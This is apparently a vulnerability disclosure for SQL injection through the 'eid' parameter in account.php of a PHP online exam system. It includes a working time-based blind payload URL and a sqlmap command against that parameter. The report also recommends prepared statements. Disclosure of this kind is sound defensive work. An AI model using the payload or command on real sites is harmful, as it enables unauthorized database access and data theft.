# code-projects online-exam-mastering-system-php has sql injection in account.php ## supplier https://code-projects.org/online-exam-mastering-system-php/ ## describe In account.php, ### Code analysis ![image](https://hackmd.io/_uploads/ByaQaxXrJx.png) The SQL Injection vulnerability here exists because the value of `$_GET['eid']` is directly embedded into the SQL queries without any validation or sanitization. If an attacker inputs malicious SQL code as the `eid` parameter, it will be executed by the database. For example, if `eid` is set to `'1' OR '1'='1'`, it could manipulate the query to return or modify unintended data. Always use **prepared statements** or **parameterized queries** to prevent this. ## payload ``` http://host/account.php?q=quiz&step=2&eid=5589741f9ed52' AND (SELECT 9913 FROM (SELECT(SLEEP(5)))emka) AND 'nnHe'='nnHe&n=1&t=5 ``` ## exploit use sqlmap to attack ``` sqlmap -u "/account.php?q=quiz&step=2&eid=5589741f9ed52&n=1&t=5" -p eid --batch" ``` ![image](https://hackmd.io/_uploads/S1kBTkmr1g.png)